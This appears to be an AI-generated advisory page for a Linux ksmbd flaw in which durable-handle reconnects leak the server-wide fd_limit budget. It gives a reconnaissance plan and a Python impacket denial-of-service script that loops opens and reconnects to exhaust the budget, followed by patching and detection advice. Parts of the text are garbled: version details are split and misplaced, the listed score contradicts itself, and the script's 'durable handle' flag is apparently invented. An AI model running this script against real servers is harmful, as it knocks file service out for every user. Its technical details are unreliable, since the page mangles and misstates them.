CVE-2026-139230 — Linux Kernel — NONE Vulnerability
In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix fd_limit accounting across durable reconnects A disconnected durable handle keeps its ksmbd_file and the fd_limit reservation taken at its initial open. Reconnecting allocates another volatile ID and takes another reservation for the same file. Final close returns only one reservation, so repeated reconnects permanently reduce the server-wide open-file budget. Move reservation into ksmbd_open_fd() and release it on every creation failure. Keep the reservation until final close, including while a durable handle is disconnected. Make ID allocation independent of fd_limit so reconnects neither consume nor return slots. This also avoids returning an unreserved slot when persistent ID allocation fails. New opens continue to return -EMFILE when the budget is exhausted, keeping the existing STATUS_INSUFFICIENT_RESOURCES mapping.
In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix fd_limit accounting across durable reconnects A disconnected durable handle keeps its ksmbd_file and the fd_limit reservation taken at its initial open. Reconnecting allocates another volatile ID and takes another reservation for the same file. Final close returns only one reservation, so repeated reconnects permanently reduce the server-wide open-file budget. Move reservation into ksmbd_open_fd() and release it on every creation failure. Keep the reservation until final close, including while a durable handle is disconnected. Make ID allocation independent of fd_limit so reconnects neither consume nor return slots. This also avoids returning an unreserved slot when persistent ID allocation fails. New opens continue to return -EMFILE when the budget is exhausted, keeping the existing STATUS_INSUFFICIENT_RESOURCES mapping.
🎯 What is this vulnerability?
This vulnerability is a Resource Management Logic Error (specifically a resource leak leading to Denial of Service) within the ksmbd (Kernel Server Message Block) subsystem of the Linux kernel.
Technical Flaw Analysis:
The core issue lies in the lifecycle management of file descriptor (fd) limits for Durable Handles in SMB3.
1. Initial Open: When a client opens a file with a durable handle, ksmbd allocates a volatile ID and reserves a slot in the server-wide fd_limit budget.
2. Disconnect: If the client disconnects, the durable handle remains in the kernel. Crucially, the fd_limit reservation remains active (this is correct behavior to prevent resource exhaustion during reconnection).
3. Reconnect: When the client reconnects, the kernel allocates a new volatile ID for the same durable handle. The vulnerable code path incorrectly takes another fd_limit reservation for this new volatile ID, even though the original reservation from the initial open is still held.
4. Final Close: When the file is eventually closed, the code only releases one reservation.
5. Result: Each disconnect/reconnect cycle leaks one fd_limit slot. Since fd_limit is a server-wide budget, repeated cycles by a single client (or multiple clients) will exhaust the budget. Once exhausted, the server cannot open any new files, returning -EMFILE (mapped to STATUS_INSUFFICIENT_RESOURCES), effectively causing a Denial of Service for all SMB clients.
CWE Classification:
- CWE-401: Missing Release of Resource after Effective Lifetime (or more precisely, CWE-404: Improper Resource Shutdown or Release due to double-reservation without double-release).
- AV:N: Network vector (SMB is network-accessible).
- AC:L: Low complexity (standard SMB reconnect behavior).
- PR:L: Low privileges (requires valid SMB authentication to open files).
- A:H: High availability impact (server-wide file opening disabled).
- Target Identification: Identify hosts running Linux with
ksmbdenabled. This can be done via:
* Port scanning for SMB (TCP 445).
* Checking SMB signing requirements and dialect support (SMB3.0+ required for durable handles).
* Verifying the kernel version is - Authentication: Obtain valid SMB credentials (username/password) with permission to open files.
CVSS Context:
The provided CVSS score is 0/10 (NONE), which is technically inconsistent with a DoS vulnerability. However, based on the description, this is a Local/Network DoS vulnerability. A realistic CVSS v3.1 vector would likely be:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (Score: 7.5 High)
⚡ Attack Chain
1. Discovery & Reconnaissance
6.9 or contains the vulnerable commit 883670dc0b57bc1ca3b71fe00f40dfce1ab8cb7b.
2. Exploitation
The exploit involves repeatedly opening a file with a durable handle, disconnecting, and reconnecting. This can be automated using a script that leverages thesmbclient or a custom Python script using pysmb or impacket.Illustrative PoC (Python using impacket/smbconnection):
Note: This is an illustrative example of the logic. The exact API calls depend on the library version.
from impacket.smbconnection import SMBConnection
import time
def exploit_durable_handle_leak(target_ip, username, password, share_name, file_path):
conn = SMBConnection(target_ip, target_ip, username=username, password=password)
conn.login(username, password)
# Open a file with durable handle support (SMB3)
# The exact flags for durable handles depend on the SMB library implementation
# Typically, this involves setting the Durable Handle flag in the open request
print(f"[*] Starting durable handle leak against {target_ip}")
for i in range(1000): # Repeat enough times to exhaust fd_limit
try:
# 1. Open file with durable handle
# Note: pysmb/impacket may require specific flags for durable handles
# This is a simplified representation
conn.openFile(share_name, file_path, desiredAccess=0x100000,
shareAccess=0x7,
createDisposition=1,
createOptions=0x08000000) # Durable Handle flag
# 2. Close the file (disconnects the volatile handle, but durable handle persists)
conn.closeFile(share_name, file_path)
# 3. Simulate disconnect/reconnect by closing and reopening the session
# In a real attack, this might involve dropping the TCP connection
conn.close()
time.sleep(0.1)
# Reconnect
conn = SMBConnection(target_ip, target_ip, username=username, password=password)
conn.login(username, password)
# 4. Reconnect to the durable handle (allocates new volatile ID, leaks fd_limit)
# The library should automatically reconnect durable handles if supported
# If not, a specific 'reconnect' API call is needed
print(f"[+] Iteration {i}: Durable handle reconnected. fd_limit leaked.")
except Exception as e:
print(f"[-] Error at iteration {i}: {e}")
break
conn.close()
# Usage:
# exploit_durable_handle_leak("192.168.1.100", "user", "pass", "share", "test.txt")Key Mechanics:
fd_limit is a global counter in the kernel. Each leak reduces the available slots for all users.3. Post-exploitation
fd_limit is exhausted, the ksmbd server will fail to open any new files for any client. Existing open files may continue to work, but new operations (open, create) will fail with STATUS_INSUFFICIENT_RESOURCES.🌍 Real World Impact
Practical Consequences:
ksmbd is used for shared file storage, a single compromised or malicious user can take down the file server for all other users.ksmbd is exposed in a multi-tenant environment, one tenant could DoS the SMB service for others.ksmbd service or reboot the kernel, which is disruptive.🛡️ Remediation & Mitigation
1. Patching
6.9 and any version containing the vulnerable commit 883670dc0b57bc1ca3b71fe00f40dfce1ab8cb7b.fd_limit reservation into ksmbd_open_fd() and ensures it is released correctly on all failure paths and final close. The patch makes ID allocation independent of fd_limit for reconnects.2. Workarounds
ksmbd configuration files (if supported).fd_limit: Implement monitoring to alert on high fd_limit usage or frequent STATUS_INSUFFICIENT_RESOURCES errors.3. Detection
STATUS_INSUFFICIENT_RESOURCES errors in SMB logs.
* Check kernel logs for ksmbd errors related to file descriptor limits.
fd_limit usage on the host.
* Alerts from monitoring tools indicating resource exhaustion on the SMB service.⚠️ Urgency
ksmbd is a critical service in your environment, patch promptly.
* If ksmbd is not exposed to untrusted networks, the risk is lower, but still should be addressed in the next patch cycle.
* Action: Schedule patching within the next 1-2 weeks, or immediately if the service is internet-facing or critical.[🤖 CVE Professor AI Security Engine]
FOFA Query